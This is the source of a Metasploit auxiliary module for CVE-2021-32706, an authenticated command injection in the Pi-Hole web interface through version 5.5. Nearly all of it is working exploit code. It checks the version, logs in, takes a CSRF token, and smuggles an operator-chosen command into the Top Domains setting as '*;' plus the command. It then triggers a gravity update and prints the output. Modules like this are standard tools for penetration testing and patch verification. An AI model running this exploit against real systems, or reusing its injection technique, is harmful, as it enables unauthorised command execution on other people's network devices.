## https://sploitus.com/exploit?id=PACKETSTORM:180843
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Pihole
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pi-Hole Top Domains API Authenticated Exec',
'Description' => %q{
This exploits a command execution in Pi-Hole Web Interface <= 5.5.
The Settings > API/Web inetrace page contains the field
Top Domains/Top Advertisers which is validated by a regex which does not properly
filter system commands, which can then be executed by calling the gravity
functionality. However, the regex only allows a-z, 0-9, _.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'SchneiderSec' # original PoC, discovery
],
'References' => [
['URL', 'https://github.com/pi-hole/AdminLTE/security/advisories/GHSA-5cm9-6p3m-v259'],
['CVE', '2021-32706']
],
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2021-08-04',
'Privileged' => true,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']),
OptString.new('COMMAND', [ true, 'The command to execute. Only 0-9, a-z, _ are allowed.', 'pwd']),
]
)
end
def check
begin
_version, web_version, _ftl = get_versions
if web_version.nil?
print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")
return Exploit::CheckCode::Unknown
end
if web_version && Rex::Version.new(web_version) <= Rex::Version.new('5.6')
vprint_good("Web Interface Version Detected: #{web_version}")
return Exploit::CheckCode::Appears
else
vprint_bad("Web Interface Version Detected: #{web_version}")
return Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
print_error("#{peer} - Could not connect to the web service")
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Safe
end
def validate_command
# https://github.com/pi-hole/AdminLTE/blob/v5.3.1/scripts/pi-hole/php/savesettings.php#L71
unless /^((\*.)?[_a-z\d](-*[_a-z\d])*)(\.([_a-z\d](-*[a-z\d])*))*(\.([_a-z\d])*)*$/i =~ datastore['COMMAND']
fail_with(Failure::BadConfig, 'COMMAND invalid. only _, a-z, 0-9 are allowed.')
end
end
def run
validate_command
if check != Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end
# check if we need a login
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'vars_get' => {
'tab' => 'api'
},
'keep_cookies' => true
)
# check if we got hit by a login prompt
if res && res.body.include?('Sign in to start your session')
res = login(datastore['PASSWORD'])
fail_with(Failure::BadConfig, 'Incorrect Password') if res.nil?
end
token = get_token('api')
if token.nil?
fail_with(Failure::UnexpectedReply, 'Unable to find token')
end
print_status("Using token: #{token}")
print_status('Sending payload request')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'vars_get' => {
'tab' => 'api'
},
'vars_post' => {
'domains' => "*;#{datastore['COMMAND']}",
'clients' => '',
'querylog-permitted' => 'on',
'querylog-blocked' => 'on',
'field' => 'API',
'token' => token
},
'keep_cookies' => true,
'method' => 'POST'
)
fail_with(Failure::UnexpectedReply, 'Unable to save settings') unless res && res.body.include?('The API settings have been updated')
res = update_gravity
fail_with(Failure::UnexpectedReply, 'Unable to update gravity') unless res && res.code == 200
# first line after our output should be: data: [i] Neutrino emissions detected...
output = res.body.split(' [i] ')[0]
# remove beginning of line with data on it
output = output.gsub(/^data:/, '')
# removing last line since its empty
output = output.split[0..]
print_good(output.join("\n"))
end
end